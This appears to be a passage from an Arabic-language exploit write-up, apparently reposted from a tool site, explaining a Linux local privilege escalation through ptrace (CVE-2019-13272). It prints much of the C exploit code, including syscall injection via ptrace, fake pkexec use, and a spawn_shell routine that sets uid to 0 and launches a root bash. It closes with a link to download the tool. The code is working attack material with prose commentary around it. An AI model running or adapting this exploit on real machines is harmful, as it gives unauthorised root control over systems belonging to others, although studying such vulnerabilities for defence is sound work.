96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

السطر 70، استدعاء دالة fork لإنشاء عملية حفيدة (task C).

بعد ذلك، في السطر 111، تقوم task B بتشغيل fakepkexec لرفع الصلاحيات ثم خفضها.

بعد ذلك، بالنظر إلى السطور 76 إلى 84، بعد أن تكتشف task C أن euid الخاص بـ task B أصبح 0، فإنها تنفذ السطر 91 لإجراء عملية PTRACE_TRACEME للحصول على ptracer_cred من root، ثم فورًا تقوم بتشغيل executel لتنفيذ suid binary ليجعل euid الخاص بها يصبح 0.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
بعد ذلك، نعود إلى الدالة main الخاصة بالمهمة A، الأسطر من 194 إلى 202، تتحقق المهمة A من ملف comm الخاص بالمهمة B هل أصبح helper أم لا، إذا كان كذلك، فستقوم بتشغيل السطر 213 لتنفيذ الدالة force_exec_and_wait``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

وظيفة force_exec_and_wait هي استخدام ptrace للتحكم في التابع (tracee) لتنفيذ دالة execveat لاستبدال صورة العملية، هنا يتحكم في المهمة B لتنفيذ عملية المهمة A (أي برنامج الاستغلال الثنائي - ملف binary exploit) مع معامل stage2 لكي تقوم المهمة B بتنفيذ دالة middle_stage2.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
وظيفة middle_stage2 تستدعي أيضًا force_exec_and_wait، مما يجعل المهمة B تستخدم ptrace للتحكم في المهمة C لتنفيذ دالة execveat، واستبدال صورة المهمة C بالملف الثنائي للاستغلال exploit والمعامل هو stage3``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

عند تشغيل ملف الاستغلال الثنائي مع المعلمة stage3، فإنه سيشغّل دالة spawn_shell، وبالتالي فإن المرحلة الأخيرة من المهمة C هي تشغيل spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
في دالة spawn_shell، أولاً تستخدم setresgid/setresuid لتغيير real uid/effective uid/save uid للعملية إلى root. نظرًا لأن المهمة C نفذت للتو suid binary وغيرت euid الخاصة بها إلى root، لذلك يمكن تنفيذ setresuid/setresgid بنجاح. في هذه المرحلة، أصبحت المهمة C عملية root كاملة. أخيرًا، تنفذ execlp لفتح shell، وستتمتع هذه shell بصلاحيات root كاملة.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

الاستشهادات

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

تنزيل الأداة